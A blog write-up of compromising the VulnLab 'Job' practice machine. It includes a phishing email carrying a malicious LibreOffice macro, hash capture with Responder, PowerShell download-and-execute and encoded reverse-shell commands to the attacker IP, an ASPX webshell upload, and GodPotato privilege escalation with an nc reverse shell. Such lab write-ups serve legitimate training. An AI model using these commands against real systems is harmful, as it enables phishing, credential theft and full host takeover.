Post

VulnLab -- Job Writeup

Job

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Job machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 25,80,445,3389 --min-rate=1000 10.10.106.238

image.png

Now let’s go to the website running on port 80

image.png

Notice that we found a domain name and the CV should be sent as libre office

Now let’s create a Libre Office macro

1
libreoffice

image.png

Now let’s add a macro.

1
2
3
Sub Main
	Shell("dir \\\\10.8.5.233\\remomacro")
End Sub

image.png

Now let’s save it and see if it’s saved

image.png

Now let’s Open Responder

1
sudo responder -I tun0

image.png

Now let’s send the document

1
sendemail -f "remo <remo@job.local>" -a 'remo.odt' -u 'Phishing You!' -m 'open the file so i can hack you!' -s job.local -t 'career@job.local'

image.png

Now let’s see if we get a hash

image.png

As we see we got the hash of the user!

so let’s try to crack it

1
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

image.png

Unfortunately it’s uncrackable so let’s get a reverse shell

1
2
3
4
5
REM  *****  BASIC  *****

Sub Main
	Shell("cmd /c powershell ""iex(new-object net.webclient).downloadstring('http://10.8.5.233/shell.ps1')""")
End Sub

image.png

Now let’s open a listener

1
nc -lvnp 1337

image.png

Now let’s send the macro again

1
sendemail -f "remo <remo@job.local>" -a 'remo.odt' -u 'Phishing You!' -m 'open the file so i can hack you!' -s job.local -t 'career@job.local'

image.png

Now let’s see if we go a shell

image.png

An we did amazing!

Now let’s see the users privileges

1
whoami /all

image.png

As we see we are in the developers group so let’s go to the web directory

1
cd C:\inetpub\wwwroot

image.png

Now let’s upload apsx webshell

1
certutil -urlcache -f http://10.8.5.233/shell.aspx shell.aspx

image.png

Now let’s access it from the browser

1
http://job.local/shell.aspx

image.png

Now let’s go and get a revere shell as the IIS service

First open a listener

1
nc -nlvp 1338

image.png

Now let’s execute a reverse shell

1
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAG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AJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

image.png

Now let’s go back to our listener

image.png

And we got access as IIS service

Now let’s see the user privileges

1
whoami /all

image.png

Notice that we have impersonation privileges

Now let’s go and upload God Potato to help us elevate to system access

1
certutil -urlcache -f http://10.8.5.233/gp.exe gp.exe

image.png

Now let’s see if we got system access

1
.\gp.exe -cmd "cmd /c whoami"

image.png

As we see we got system access

so let’s go and get reverse shell as administrator

First open a listener

1
nc -lvnp 1339

image.png

Now let’s get a reverse shell

1
.\gp.exe -cmd "cmd /c C:\windows\temp\nc.exe -nv 10.8.5.233 1339 -e cmd.exe"

image.png

Now let’s navigate to the administrator desktop and see the root flag

1
cd c:\users\administrator\desktop

image.png

Amazing we got the root flag 🥳

image.png

That’s it for the Job machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.